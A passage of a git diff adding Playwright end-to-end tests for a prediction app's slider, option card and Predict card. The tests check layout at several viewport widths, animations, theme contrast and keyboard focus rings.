expect(page.getByTestId("estimate-span")).toHaveCSS("background-color", colour); + await expect(page.locator("#slider-fill")).toHaveCSS("background-color", "rgba(0, 0, 0, 0)"); + await expect(page.locator("#slider-fill")).toHaveCSS("background-image", "none"); + + const { span, ends, centre } = await spanAgainst(page, value); + expect(span[0], `the span's start at ${value}`).toBeCloseTo(ends[0]!, 0); + expect(span[1], `the span's end at ${value}`).toBeCloseTo(ends[1]!, 0); + expect(centre[0], "the span sits on the track").toBeCloseTo(centre[1]!, 0); + } + }); + } + + test("is the brand gradient at the market, with no span", async ({ page }) => { + await open(page, { track: 311, market: MARKET }); + + await expect(page.locator("#slider-fill")).toHaveCSS("background-image", /^linear-gradient/); + await expect(page.getByTestId("estimate-span")).toHaveCount(0); + }); + + test("dims a locked slider in the popup's track tones, not the library's blue", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 90, locked: 1 }); + const tone = (css: string) => + page.evaluate((css) => { + const probe = document.createElement("span"); + probe.style.backgroundColor = css; + document.body.append(probe); + const resolved = getComputedStyle(probe).backgroundColor; + probe.remove(); + return resolved; + }, css); + + await expect(page.locator("#slider-track")).toHaveCSS("background-color", await tone("var(--fs-popup-track)")); + await expect(page.locator("#slider-fill")).toHaveCSS("background-color", await tone("var(--fs-popup-track-dot)")); + }); +}); + +/** Drives the transitions running on the market pin and inside it; returns what each animates. */ +function pinAnimations(page: Page, action: "pause" | "finish" | "cancel" | "seek", at = 0) { + return page.evaluate( + ([action, at]) => + document + .querySelector('[data-testid="market-pin"]')! + .getAnimations({ subtree: true }) + .map((animation) => { + if (action === "seek") animation.currentTime = at as number; + else animation[action as "pause" | "finish" | "cancel"](); + return (animation as CSSTransition).transitionProperty; + }), + [action, at] as const, + ); +} + +const chipTop = (page: Page) => page.getByTestId("market-chip").evaluate((chip) => chip.getBoundingClientRect().top); + +/** Steps the thumb right until the pin drops, leaving its transitions paused at their start. */ +async function stepUntilDropped(page: Page) { + const slider = page.getByRole("slider"); + const pin = page.getByTestId("market-pin"); + await slider.focus(); + let before = await chipTop(page); + for (let step = 0; step < 100 && (await pin.getAttribute("data-placement")) === "up"; step++) { + await pinAnimations(page, "finish"); + before = await chipTop(page); + await slider.press("ArrowRight"); + } + await expect(pin).toHaveAttribute("data-placement", "down"); + await pinAnimations(page, "pause"); + return before; +} + +test.describe("the market pin's drop", () => { + test.use({ viewport: { width: 375, height: 400 } }); + + test("moves the chip from where it stood, by transform, over the structural duration", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 20 }); + const before = await stepUntilDropped(page); + + const moves = await pinAnimations(page, "pause"); + expect(moves.every((property) => ["transform", "opacity"].includes(property))).toBe(true); + const timing = await page.evaluate(() => + document + .querySelector('[data-testid="market-pin"]')! + .getAnimations() + .map((animation) => animation.effect!.getComputedTiming()), + ); + expect(timing[0]!.duration).toBe(400); + + await pinAnimations(page, "seek", 0); + expect(Math.abs((await chipTop(page)) - before), "the chip's first frame is where it stood").toBeLessThanOrEqual(1); + }); + + test("settles with a spring, passing its resting place before it comes back", async ({ page }) => { + await open(page, { track: 311, market: MARKET, value: 20 }); + await stepUntilDropped(page); + await pinAnimations(page, "finish"); + const rest = await chipTop(page); + await pinAnimations(page, "cancel"); + + // replay the drop from the raised pin + await page.getByRole("slider").press("Home"); + await pinAnimations(page, "finish"); + await stepUntilDropped(page); + + let lowest = -Infinity; + for (let ms = 0; ms <= 400; ms += 20) { + await pinAnimations(page, "seek", ms); + lowest = Math.max(lowest, await chipTop(page)); + } + expect(lowest - rest, "the overshoot past its resting place").toBeGreaterThanOrEqual(1); + }); + + test.describe("with reduced motion", () => { + test.use({ contextOptions: { reducedMotion: "reduce" } }); + + test("lands at once, with no spring, sliding clear of a bound included", async ({ page }) => { + // at 85 the dropped chip slides off the upper bound + await open(page, { track: 311, market: 85, value: 20 }); + await stepUntilDropped(page); + + const timing = await page.evaluate(() => + document + .querySelector('[data-testid="market-pin"]')! + .getAnimations({ subtree: true }) + .map((animation) => ({ + duration: Number(animation.effect!.getComputedTiming().duration), + easing: animation.effect!.getComputedTiming().easing, + })), + ); + expect(timing.every(({ duration }) => duration <= 1)).toBe(true); + }); + }); +}); + +test.describe("a value whose label changes width", () => { + for (const track of TRACKS) { + test.describe(`on a ${track}px track`, () => { + test.use({ viewport: { width: track + 64, height: 400 } }); + + for (const [name, query, act] of [ + [ + "End from 87 on 0 to 100", + { track, market: MARKET, value: 87 }, + async (page: Page) => { + await page.getByRole("slider").focus(); + await page.keyboard.press("End"); + }, + ], + [ + "a typed 0 from 87 on 0 to 100", + { track, market: MARKET, value: 87 }, + async (page: Page) => { + await page.getByRole("button", { name: "type your estimate for Movie A" }).click(); + await page.getByRole("textbox", { name: "Your estimate for Movie A" }).fill("0"); + await page.keyboard.press("Enter"); + }, + ], + ] as const) { + test(`keeps the card mounted after ${name}, three runs`, async ({ page }) => { + const errors: string[] = []; + page.on("pageerror", (error) => errors.push(error.message)); + for (let run = 0; run < 3; run++) { + await open(page, query); + await act(page); + await settle(page); + await expect(page.getByTestId("value-pill"), `run ${run + 1}`).toBeVisible(); + expect(errors, `run ${run + 1}`).toEqual([]); + } + }); + } + }); + } +}); diff --git a/apps/web/e2e/tests/option-card-layout.spec.ts b/apps/web/e2e/tests/option-card-layout.spec.ts new file mode 100644 index 00000000..887c0c50 --- /dev/null +++ b/apps/web/e2e/tests/option-card-layout.spec.ts @@ -0,0 +1,347 @@ +import { expect, test, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("option-card"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +/** Worst cases the card has to hold: a long name, a scale in millions, and a position all on one side. */ +const CASES = { + "a long name": "name=Movie%20A%2C%20the%20director's%20extended%20cut%20(2026)&value=20&up=3&down=2", + "a scale in millions": "unit=%24M&lower=0&upper=5000000&market=3250000&value=4100000&up=12345.67&down=890.12", + "a scale in millions at its top": "unit=%24M&lower=0&upper=5000000&market=3250000&value=5000000", + "a position nearly all UP": "value=90&up=1000000&down=0.01", + "a narrow scale": "unit=&lower=0&upper=1&market=0.5&value=0.45", +}; + +async function openCard(page: Page, query: string) { + await openHarness(page, `${harness.url}?${query}`); + await page.locator("#root button").first().click(); + await expect(page.getByRole("slider")).toBeVisible(); + // the body opens by a transition, so the card's height is read once it has finished + await page.evaluate(() => + Promise.all(document.getAnimations().map((animation) => animation.finished.catch(() => undefined))), + ); +} + +for (const width of [320, 375, 1280]) { + test.describe(`the option card at ${width}px`, () => { + test.use({ viewport: { width, height: 900 } }); + + for (const [name, query] of Object.entries(CASES)) { + test(`holds ${name} without scrolling sideways`, async ({ page }) => { + await openCard(page, query); + + const overflow = await page.evaluate( + () => document.documentElement.scrollWidth - document.documentElement.clientWidth, + ); + expect(overflow).toBe(0); + }); + } + + test("keeps the position's worth and its help inside the card under a long unbroken option name", async ({ + page, + }) => { + // a 233px worth at 320, wider than its 228px line beside the help, so only a nowrap figure keeps one line + await openCard( + page, + "name=Benachrichtigungseinstellungenverwaltung%20(revised%202026)&up=1234567890123456.5&down=0", + ); + const card = (await page.locator("#root > div > div").first().boundingBox())!; + const help = page.getByLabel("How this is worked out"); + const worth = page.getByText(/^≈ /); + + for (const part of [help, worth]) { + const box = (await part.boundingBox())!; + expect(box.x).toBeGreaterThanOrEqual(card.x); + expect(box.x + box.width).toBeLessThanOrEqual(card.x + card.width); + } + const hit = await help.evaluate((element) => { + const { left, top, width, height } = element.getBoundingClientRect(); + const found = document.elementFromPoint(left + width / 2, top + height / 2); + return found !== null && (found === element || element.contains(found)); + }); + expect(hit, "the help icon takes a press").toBe(true); + + const lineHeight = await worth.evaluate((element) => parseFloat(getComputedStyle(element).lineHeight)); + const worthBox = (await worth.boundingBox())!; + expect(worthBox.height, "the worth on one line").toBeLessThanOrEqual(lineHeight + 1); + const helpBox = (await help.boundingBox())!; + expect( + Math.abs(helpBox.y + helpBox.height / 2 - (worthBox.y + worthBox.height / 2)), + "the help centred on the worth's line", + ).toBeLessThanOrEqual(1); + }); + + test("never scrolls sideways while it opens, with the market at the top of a millions scale", async ({ page }) => { + await page.addInitScript(() => { + const spills: number[] = []; + (window as unknown as { spills: number[] }).spills = spills; + const sample = () => { + spills.push(document.documentElement.scrollWidth - document.documentElement.clientWidth); + requestAnimationFrame(sample); + }; + requestAnimationFrame(sample); + }); + await openCard(page, "unit=%24M&lower=0&upper=5000000&market=5000000"); + await page.waitForTimeout(500); + + const spills = await page.evaluate(() => (window as unknown as { spills: number[] }).spills); + expect(Math.max(...spills), `over ${spills.length} frames`).toBe(0); + }); + + // at 320 "You hold 12,345.67 UP · 890.12 DOWN" is wider than the row's 256px, so DOWN wraps under UP there + test("shows a position with no bar, its UP and DOWN inside the row, on one line from 375px", async ({ page }) => { + for (const query of [CASES["a position nearly all UP"], CASES["a scale in millions"]]) { + await openCard(page, query); + const held = page.getByTestId("position-held"); + const [box, row] = await Promise.all([ + held.boundingBox(), + page.getByRole("region", { name: "Your position" }).boundingBox(), + ]); + + await expect(page.getByTestId("position-bar-up")).toHaveCount(0); + if (width >= 375) expect(box!.height, query).toBeLessThanOrEqual(20); + expect(box!.x + box!.width, query).toBeLessThanOrEqual(row!.x + row!.width + 0.5); + } + }); + + test("keeps an eight-digit UP and a four-digit DOWN inside the position row", async ({ page }) => { + for (const query of ["value=87&up=1234567.89&down=0.01", "value=87&up=12345678.89&down=1234.56"]) { + await openCard(page, query); + const row = page.getByRole("region", { name: "Your position" }); + const edge = (await row.boundingBox())!; + for (const side of [/ UP$/, / DOWN$/]) { + const figure = (await page.getByTestId("position-held").getByText(side).boundingBox())!; + expect(figure.x + figure.width, `${query}: ${side}`).toBeLessThanOrEqual(edge.x + edge.width + 0.5); + } + } + }); + + for (const [held, position] of [ + ["", ""], + [" with a position", "&up=214.08&down=1.43"], + ]) { + test(`keeps one height${held} at rest, above, below, at and near the market`, async ({ page }) => { + const heights: number[] = []; + for (const query of ["", "value=87", "value=20", "value=75", "market=85&value=88"]) { + await openCard(page, query + position); + heights.push( + await page + .locator("#root > div > div") + .first() + .evaluate((card) => (card as HTMLElement).offsetHeight), + ); + } + + expect(new Set(heights).size, heights.join(", ")).toBe(1); + }); + } + + test("gives Details a row at least 44px tall under a hairline", async ({ page }) => { + await openCard(page, ""); + + const details = page.getByRole("button", { name: "Details" }); + expect((await details.boundingBox())!.height).toBeGreaterThanOrEqual(44); + expect(await details.evaluate((bar) => getComputedStyle(bar).borderTopWidth)).toBe("1px"); + }); + + test("rounds the card to the popup's panel radius, its header following it while closed", async ({ page }) => { + await openHarness(page, `${harness.url}?`); + const card = page.locator("#root > div > div").first(); + const header = page.locator("#root button").first(); + + await expect(card).toHaveCSS("border-radius", "16px"); + await expect(header).toHaveCSS("border-bottom-left-radius", "16px"); + await header.click(); + await expect(header).toHaveCSS("border-bottom-left-radius", "0px"); + }); + + test("opens the card and its Details by grid rows as the body rises in, each turning one chevron", async ({ + page, + }) => { + await openHarness(page, `${harness.url}?up=3&down=2`); + const motion = () => + page.evaluate(() => + document + .getAnimations() + .map((animation) => + animation instanceof CSSTransition + ? animation.transitionProperty + : (animation as CSSAnimation).animationName, + ) + .sort(), + ); + const chevrons = page.locator('button[aria-expanded] svg path[d="M4 6l4 4 4-4"]'); + + await page.locator("#root button").first().click(); + expect(await motion()).toEqual(expect.arrayContaining(["grid-template-rows", "opacity", "rotate", "transform"])); + await page.getByRole("button", { name: "Details" }).click(); + expect(await motion()).toEqual(expect.arrayContaining(["grid-template-rows", "opacity", "rotate", "transform"])); + await expect(chevrons).toHaveCount(2); + }); + + test("sets the Details text no larger than its label, with the question under it as a caption", async ({ + page, + }) => { + await openCard(page, ""); + await page.getByRole("button", { name: "Details" }).click(); + const size = (text: RegExp) => + page.getByText(text).evaluate((element) => parseFloat(getComputedStyle(element).fontSize)); + + expect(await size(/^Resolves to the score/)).toBeLessThanOrEqual(await size(/^Details$/)); + expect(await size(/^What percentile score/)).toBe(12); + }); + + // a lavender step on white; on the violet surface the panel tone is too close, so the chip's + for (const [theme, tone] of [ + ["light", "rgb(244, 242, 251)"], + ["dark", "rgb(46, 32, 108)"], + ] as const) { + test(`tints its header on hover with the popup's hover tone in the ${theme} theme`, async ({ page }) => { + await openHarness(page, `${harness.url}?theme=${theme}`); + const header = page.locator("#root button").first(); + await header.hover(); + + await expect(header).toHaveCSS("background-color", tone); + }); + } + }); +} + +/** WCAG contrast between two computed rgb() colours. */ +function contrast(first: string, second: string) { + const luminance = (css: string) => { + const [r = 0, g = 0, b = 0] = css.match(/[\d.]+/g)!.map(Number); + const linear = (c: number) => ((c /= 255) <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4); + return 0.2126 * linear(r) + 0.7152 * linear(g) + 0.0722 * linear(b); + }; + const [a, b] = [luminance(first), luminance(second)]; + return (Math.max(a, b) + 0.05) / (Math.min(a, b) + 0.05); +} + +test.describe("the option card header's mark", () => { + test.use({ viewport: { width: 375, height: 900 } }); + + for (const theme of ["light", "dark"]) { + for (const [mark, query, token] of [ + ["check", "value=40", "var(--fs-tone-success-text)"], + ["minus", "", "var(--fs-popup-text-3)"], + ] as const) { + test(`draws the ${mark} in its theme token at 3:1 or more, at rest and on hover, in the ${theme} theme`, async ({ + page, + }) => { + await openHarness(page, `${harness.url}?${query}&theme=${theme}`); + const header = page.locator("#root button").first(); + // the mark closes the title row, beside the option's name + const icon = header.locator("div:has(> div > h3) > svg"); + const look = () => + icon.evaluate((svg) => { + let ground = ""; + for (let at: Element | null = svg; at && !ground; at = at.parentElement) { + const fill = getComputedStyle(at).backgroundColor; + if (fill.startsWith("rgb(")) ground = fill; + } + return { fill: getComputedStyle(svg.querySelector("path")!).fill, ground }; + }); + const expected = await page.evaluate((value) => { + const probe = document.createElement("span"); + probe.style.color = value; + document.body.append(probe); + const color = getComputedStyle(probe).color; + probe.remove(); + return color; + }, token); + + const rest = await look(); + expect.soft(contrast(rest.fill, rest.ground), `at rest on ${rest.ground}`).toBeGreaterThanOrEqual(3); + await header.hover(); + await page.evaluate(() => + Promise.all(document.getAnimations().map((animation) => animation.finished.catch(() => undefined))), + ); + await expect(header).not.toHaveCSS("background-color", "rgba(0, 0, 0, 0)"); + const hover = await look(); + expect.soft(contrast(hover.fill, hover.ground), `on hover on ${hover.ground}`).toBeGreaterThanOrEqual(3); + expect(rest.fill).toBe(expected); + }); + } + } +}); + +test.describe("the option card reached by keyboard", () => { + test.use({ viewport: { width: 375, height: 900 } }); + + for (const theme of ["light", "dark"]) { + test(`rings its header, slider and value pill once each, in the popup's violet, in the ${theme} theme`, async ({ + page, + }) => { + await openCard(page, `value=40&theme=${theme}`); + await page.mouse.move(0, 0); + const accent = await page.evaluate(() => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-accent)"; + document.body.append(probe); + const color = getComputedStyle(probe).color; + probe.remove(); + return color; + }); + expect(accent).toBe(theme === "light" ? "rgb(107, 60, 245)" : "rgb(155, 123, 255)"); + + const seen: string[] = []; + // the header was pressed to open the card; a key moves the focus on and back to it, by keyboard + await page.keyboard.press("Tab"); + await page.keyboard.press("Shift+Tab"); + for (let step = 0; step < 4; step++) { + if (step > 0) await page.keyboard.press("Tab"); + await page.evaluate(() => + Promise.all(document.getAnimations().map((animation) => animation.finished.catch(() => undefined))), + ); + const ring = await page.evaluate(() => { + const element = document.activeElement as HTMLElement; + const drawn = + element.getAttribute("type") === "range" + ? element.closest("div:has(>#slider-label)")! + : element; + const style = getComputedStyle(drawn); + const surface = getComputedStyle(element.closest(".fs-aurora")!).backgroundColor; + const rings = (style.boxShadow.match(/rgb\([^)]*\) 0px 0px 0px [1-9]\d*px/g) ?? []).filter( + (shadow) => !shadow.startsWith(surface), + ); + const reach = + style.outlineStyle === "none" ? 0 : parseFloat(style.outlineOffset) + parseFloat(style.outlineWidth); + const box = drawn.getBoundingClientRect(); + let clipped = false; + for (let parent = drawn.parentElement; parent; parent = parent.parentElement) { + const { overflowX, overflowY } = getComputedStyle(parent); + if (overflowX === "visible" && overflowY === "visible") continue; + const clip = parent.getBoundingClientRect(); + clipped ||= + box.left - reach < clip.left - 0.5 || + box.right + reach > clip.right + 0.5 || + box.top - reach < clip.top - 0.5 || + box.bottom + reach > clip.bottom + 0.5; + } + return { + name: element.getAttribute("aria-label") || element.textContent?.trim() || element.tagName, + clipped, + marks: [ + ...(style.outlineStyle === "none" ? [] : [style.outlineColor]), + ...rings.map((shadow) => shadow.split(" 0px")[0]), + ], + }; + }); + seen.push(ring.name); + expect.soft(ring.marks, `${ring.name}: one ring in the violet`).toEqual([accent]); + expect.soft(ring.clipped, `${ring.name}: the ring whole`).toBe(false); + } + expect(seen.some((name) => name.includes("type your estimate"))).toBe(true); + }); + } +}); diff --git a/apps/web/e2e/tests/predict-card-layout.spec.ts b/apps/web/e2e/tests/predict-card-layout.spec.ts new file mode 100644 index 00000000..8f9566fd --- /dev/null +++ b/apps/web/e2e/tests/predict-card-layout.spec.ts @@ -0,0 +1,561 @@ +import { expect, test, type Locator, type Page } from "@playwright/test"; + +import { openHarness, startHarness } from "../utils/component-harness"; + +let harness: Awaited>; + +test.beforeAll(async () => { + harness = await startHarness("predict-card"); +}); + +test.afterAll(async () => { + await harness?.close(); +}); + +async function openCard(page: Page, query: string) { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?${query}`); + await expect(page.getByRole("heading", { name: "Place your estimates" })).toBeVisible(); +} + +/** The visible card inside the dock: the bar while pinned, the card once docked. */ +const panelBox = (page: Page) => + page + .locator("[data-predict-dock] > *") + .first() + .evaluate((element) => element.getBoundingClientRect().toJSON() as DOMRect); + +/** A held button's fill, ink and edge against the disabled tokens the card's own Predict wears. */ +const heldTone = (button: Locator) => + button.evaluate((element) => { + const probe = document.createElement("div"); + probe.style.cssText = "background: var(--fs-popup-cta-disabled); color: var(--fs-popup-cta-disabled-text)"; + document.body.append(probe); + const tokens = getComputedStyle(probe); + const [fill, ink] = [tokens.backgroundColor, tokens.color]; + probe.remove(); + const style = getComputedStyle(element); + return { + fill: style.backgroundColor === fill, + ink: getComputedStyle(element.querySelector(".button-text") ?? element).color === ink, + edge: style.borderTopColor === fill || style.borderTopColor === "rgba(0, 0, 0, 0)", + }; + }); + +const sideways = (page: Page) => + page.evaluate(() => document.documentElement.scrollWidth - document.documentElement.clientWidth); + +for (const theme of ["light", "dark"]) { + test.describe(`the Predict card on a wide screen, ${theme}`, () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("lists three picks and a count of the rest beside its button, with no phone bar", async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}`); + const list = page.getByRole("list", { name: "Your estimates" }); + const shown = list.locator("li:visible"); + await expect(shown).toHaveText([/^Greater Lisb.*1,234,567$/, "Berlin360", "Nairobi320", "+3"]); + await expect(page.getByRole("button", { name: "Predict 6 estimates" })).toBeVisible(); + await expect(page.getByRole("button", { name: "Predict", exact: true })).toBeHidden(); + expect(await sideways(page)).toBe(0); + + // the chips and the button share one row, the button last + const button = (await page.getByRole("button", { name: "Predict 6 estimates" }).boundingBox())!; + const chips = (await list.boundingBox())!; + expect(chips.x + chips.width).toBeLessThanOrEqual(button.x); + expect(Math.abs(chips.y + chips.height / 2 - (button.y + button.height / 2))).toBeLessThan(2); + expect(button.height).toBe(44); + }); + + test("keeps a long name to its chip and every value whole", async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}`); + const chips = page.getByRole("list", { name: "Your estimates" }).locator("li:visible"); + for (const chip of await chips.all()) { + const box = (await chip.boundingBox())!; + expect(box.width).toBeLessThanOrEqual(200); + expect(box.height).toBe(28); + const value = chip.locator("span").last(); + if ((await value.count()) === 0) continue; + expect(await value.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + } + const name = chips.first().locator("span").first(); + expect(await name.evaluate((element) => element.scrollWidth > element.clientWidth)).toBe(true); + await expect(name).toHaveAttribute("title", "Greater Lisbon and Setúbal Peninsula metropolitan area"); + }); + + test("never pins the card, however far down it sits", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + await expect(page.locator("[data-predict-dock]")).toHaveCount(1); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + expect(await page.getByRole("heading", { name: "Place your estimates" }).isVisible()).toBe(true); + await expect(page.getByRole("button", { name: "Predict 3 estimates" })).not.toBeInViewport(); + }); + + test("holds Predict while a run is stored and says why with the run", async ({ page }) => { + await openCard(page, `set=worst&theme=${theme}&run=stored`); + await expect(page.getByText(/did not finish\. Resume or discard it before starting a new one\.$/)).toBeVisible(); + await expect(page.getByRole("button", { name: "Predict 6 estimates" })).toBeDisabled(); + await expect(page.getByRole("button", { name: "Resume" })).toBeEnabled(); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + }); + + test("makes Resume the card's main button while a run is stored, in Predict's place and size", async ({ page }) => { + await openCard(page, `set=normal&theme=${theme}`); + const live = (await page.getByRole("button", { name: "Predict 3 estimates" }).boundingBox())!; + const heading = (await page.getByRole("heading", { name: "Place your estimates" }).boundingBox())!; + await openCard(page, `set=normal&theme=${theme}&run=stored`); + const resume = (await page.getByRole("button", { name: "Resume" }).boundingBox())!; + expect(resume.height).toBe(44); + expect(resume.y).toBe(live.y); + expect(Math.round(resume.x + resume.width)).toBe(Math.round(live.x + live.width)); + expect((await page.getByRole("heading", { name: "Place your estimates" }).boundingBox())!.y).toBe(heading.y); + const held = page.getByRole("button", { name: "Predict 3 estimates" }); + await expect(held).toBeDisabled(); + expect((await held.boundingBox())!.height).toBeLessThan(44); + expect(await heldTone(held)).toEqual({ fill: true, ink: true, edge: true }); + }); + + test("offers a disabled Predict and no chips while nothing is picked", async ({ page }) => { + await openCard(page, `set=none&theme=${theme}`); + await expect(page.getByRole("list", { name: "Your estimates" })).toHaveCount(0); + await expect(page.getByRole("button", { name: "Predict estimates" })).toBeDisabled(); + }); + }); + + for (const viewport of [ + { width: 375, height: 812 }, + { width: 320, height: 568 }, + ]) { + test.describe(`the Predict card at ${viewport.width} x ${viewport.height}, ${theme}`, () => { + test.use({ viewport }); + + test("draws no band under the header, picked or not", async ({ page }) => { + for (const set of ["none", "normal"]) { + await openCard(page, `set=${set}&theme=${theme}`); + // the 64px header, its 1px rule and the page's 40px top padding + expect((await page.getByRole("heading", { name: "City populations" }).boundingBox())!.y).toBe(105); + } + }); + + test("slides a bar up from the bottom edge with the first pick, Predict in it", async ({ page }) => { + await openCard(page, `set=none&rows=14&theme=${theme}`); + await expect(page.locator("[data-predict-dock]")).toHaveCount(0); + await page.evaluate(() => (window as unknown as { pickFirst: () => void }).pickFirst()); + const dock = page.locator("[data-predict-dock][data-stuck]"); + await expect(dock).toHaveCount(1); + await expect.poll(async () => (await panelBox(page)).left).toBe(0); + const panel = await panelBox(page); + expect(panel.bottom).toBe(viewport.height); + expect(panel.left).toBe(0); + expect(panel.width).toBe(viewport.width); + expect(panel.height).toBe(77); + const predict = page.getByRole("button", { name: "Predict", exact: true }); + await expect(predict).toBeInViewport(); + expect((await predict.boundingBox())!.height).toBe(44); + await expect(page.getByRole("heading", { name: "Place your estimates" })).not.toBeInViewport(); + await expect(page.getByRole("list", { name: "Your estimates" }).locator("li:visible")).toHaveText([ + "Berlin400", + ]); + expect(await sideways(page)).toBe(0); + }); + + test("holds one chip and a count of the rest while pinned, a long name cut short", async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}`); + await expect(page.locator("[data-predict-dock][data-stuck]")).toHaveCount(1); + const shown = page.getByRole("list", { name: "Your estimates" }).locator("li:visible"); + await expect(shown).toHaveText([/^Gr.*1,234,567$/, "+5"]); + const value = shown.first().locator("span").last(); + expect(await value.evaluate((element) => element.scrollWidth <= element.clientWidth)).toBe(true); + const panel = await panelBox(page); + expect(panel.height).toBe(77); + for (const item of await shown.all()) { + const box = (await item.boundingBox())!; + expect(box.y + box.height).toBeLessThanOrEqual(panel.bottom); + } + expect(await sideways(page)).toBe(0); + }); + + test("keeps enough of a long name in the pinned chip to say which option it is", async ({ page }) => { + await openCard(page, `set=worst&rows=14&theme=${theme}`); + await expect(page.locator("[data-predict-dock][data-stuck]")).toHaveCount(1); + const name = page + .getByRole("list", { name: "Your estimates" }) + .locator("li:visible") + .first() + .locator("span") + .first(); + const [shown, eight] = await name.evaluate((element) => { + const range = document.createRange(); + range.setStart(element.firstChild!, 0); + range.setEnd(element.firstChild!, 8); + return [element.clientWidth, range.getBoundingClientRect().width]; + }); + expect(shown).toBeGreaterThanOrEqual(eight); + }); + + test("docks into the card when the page reaches it, with one Predict on screen", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + const dock = page.locator("[data-predict-dock]"); + await expect(dock).toHaveAttribute("data-stuck", ""); + const height = await dock.evaluate((element) => (element as HTMLElement).offsetHeight); + await page.evaluate(() => window.scrollTo(0, document.documentElement.scrollHeight)); + await expect(dock).not.toHaveAttribute("data-stuck"); + await expect(page.getByRole("heading", { name: "Place your estimates" })).toBeInViewport(); + // in the page's column again, inside the gutters + await expect.poll(async () => (await panelBox(page)).left).toBe(viewport.width <= 640 ? 16 : 24); + await expect(page.getByRole("button", { name: /^Predict/ }).locator("visible=true")).toHaveCount(1); + await expect(page.getByRole("list", { name: "Your estimates" }).locator("li:visible")).toHaveText([ + "Berlin400", + "Lisbon360", + "+1", + ]); + // the card takes the same room in the page pinned or not + expect(await dock.evaluate((element) => (element as HTMLElement).offsetHeight)).toBe(height); + + await page.evaluate(() => window.scrollTo(0, 0)); + await expect(dock).toHaveAttribute("data-stuck", ""); + await expect(page.getByRole("button", { name: /^Predict/ }).locator("visible=true")).toHaveCount(1); + }); + + test("keeps one footprint when picks change while the bar is pinned", async ({ page }) => { + await openCard(page, `set=none&rows=14&theme=${theme}`); + await page.evaluate(() => (window as unknown as { pickFirst: () => void }).pickFirst()); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + await page.evaluate(() => (window as unknown as { pickAll: () => void }).pickAll()); + const held = await page.evaluate(() => document.documentElement.scrollHeight); + // every scroll position, step by step down to the end: the bar docks once, into the card's own place + const { misplaced, flips } = await page.evaluate(async () => { + const dock = document.querySelector("[data-predict-dock]")!; + const found: string[] = []; + let changes = 0; + const watch = new MutationObserver((records) => (changes += records.length)); + watch.observe(dock, { attributes: true, attributeFilter: ["data-stuck"] }); + for (let y = 0; y <= document.documentElement.scrollHeight; y += 6) { + window.scrollTo(0, y); + await new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done))); + if (dock.hasAttribute("data-stuck")) continue; + const above = dock.previousElementSibling!.getBoundingClientRect().bottom; + if (dock.getBoundingClientRect().top < above) + found.push(`${y}: ${above - dock.getBoundingClientRect().top}px`); + } + watch.disconnect(); + return { misplaced: found, flips: changes }; + }); + expect(misplaced).toEqual([]); + expect(flips).toBe(1); + await expect(page.locator("[data-stuck]")).toHaveCount(0); + expect(await page.evaluate(() => document.documentElement.scrollHeight)).toBe(held); + }); + + test("leaves every option clear of the bar at the end of the page", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + await page.evaluate(() => window.scrollTo(0, document.documentElement.scrollHeight)); + await expect(page.locator("[data-predict-dock]")).not.toHaveAttribute("data-stuck"); + const panel = await panelBox(page); + const last = (await page.getByTestId("option-card").last().boundingBox())!; + expect(last.y + last.height).toBeLessThanOrEqual(panel.top); + }); + + test("scrolls a focused control clear of the pinned bar", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + const padding = await page.evaluate(() => getComputedStyle(document.documentElement).scrollPaddingBottom); + expect(parseFloat(padding)).toBeGreaterThanOrEqual(77); + }); + + test("pads the pinned bar over the home indicator", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + // Chromium resolves env() to 0, so the rule itself is what can be read + const rules = await page.evaluate(() => + [...document.styleSheets].flatMap((sheet) => { + const found: string[] = []; + const walk = (list: CSSRuleList) => { + for (const rule of list) { + if ("cssRules" in rule) walk((rule as CSSGroupingRule).cssRules); + if (rule instanceof CSSStyleRule && rule.selectorText.includes("[data-stuck]")) + found.push(rule.cssText); + } + }; + walk(sheet.cssRules); + return found; + }), + ); + expect(rules.some((rule) => /padding-bottom:[^;]*env\(safe-area-inset-bottom/.test(rule))).toBe(true); + }); + + test("sits under an open dialog", async ({ page }) => { + // the open dialog hides the page from the accessibility tree, so the card is found by its markup + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?set=normal&rows=14&theme=${theme}&dialog=1`); + await expect(page.getByRole("dialog")).toBeVisible(); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + const panel = await panelBox(page); + const isOnTop = await page.evaluate( + ([x, y]) => document.elementFromPoint(x!, y!)?.closest("[data-predict-dock]") !== null, + [panel.left + 8, panel.bottom - 8], + ); + expect(isOnTop).toBe(false); + }); + + test("lets the bar leave as it came when the last pick goes, rather than vanish", async ({ page }) => { + await openCard(page, `set=normal&rows=14&theme=${theme}`); + await expect(page.locator("[data-stuck]")).toHaveCount(1); + const leaving = await page.evaluate(async () => { + (window as unknown as { clearPicks: () => void }).clearPicks(); + await new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done))); + const dock = document.querySelector("[data-predict-dock]"); + const panel = dock?.firstElementChild as HTMLElement | undefined; + return { + phase: dock?.getAttribute("data-leaving") ?? null, + height: panel?.getBoundingClientRect().height, + text: panel?.innerText.replace(/\s+/g, " ").trim(), + }; + }); + // the bar sinks as it was, not as the card it leaves behind + const chip = viewport.width < 360 ? "Berlin" : "Berlin 400"; + 